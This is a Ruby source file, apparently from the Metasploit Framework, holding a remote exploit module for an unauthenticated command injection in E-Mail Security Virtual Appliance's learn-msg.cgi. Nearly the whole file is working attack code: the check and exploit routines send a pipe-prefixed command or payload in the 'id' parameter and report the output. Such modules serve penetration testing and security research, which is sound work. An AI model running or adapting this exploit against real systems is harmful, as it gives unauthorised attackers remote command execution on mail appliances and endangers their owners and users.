96 lines
2.5 KiB
Ruby
96 lines
2.5 KiB
Ruby
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "E-Mail Security Virtual Appliance learn-msg.cgi Command Injection",
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'Description' => %q{
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This module exploits a command injection vulnerability found in E-Mail Security
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Virtual Appliance. This module abuses the learn-msg.cgi file to execute arbitrary
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OS commands without authentication. This module has been successfully tested on the
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ESVA_2057 appliance.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'iJoo', # Vulnerability Discovery and PoC
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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[ 'EDB', '20551' ]
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],
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'Payload' =>
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{
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'BadChars' => "\x00\x0d\x0a\x26",
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl python',
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}
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},
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'Platform' => ['unix'],
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'Arch' => ARCH_CMD,
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'Targets' =>
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[
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['ESVA_2057', {}],
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],
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'Privileged' => false,
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'DisclosureDate' => "Aug 16 2012",
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'DefaultTarget' => 0))
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end
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def check
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clue = Rex::Text::rand_text_alpha(rand(5) + 5)
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => "/cgi-bin/learn-msg.cgi",
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'vars_get' => {
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'id' => "|echo #{clue};"
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}
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})
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# If the server doesn't return the default redirection, probably something is wrong
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if res and res.code == 200 and res.body =~ /#{clue}/
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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peer = "#{rhost}:#{rport}"
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print_status("#{peer} - Sending Command injection")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => "/cgi-bin/learn-msg.cgi",
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'vars_get' => {
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'id' => "|#{payload.raw};"
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}
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})
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# If the server doesn't return the default redirection, probably something is wrong
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if not res or res.code != 200 or res.body !~ /meta http-equiv="refresh" content="0;URL=\/learned.html"/
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print_error("#{peer} - Probably command not executed, aborting!")
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return
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end
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print_good("#{peer} - Command executed successfully")
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print_status("#{peer} - Output: \n#{res.body.split("Learned tokens")[0]}")
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end
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end
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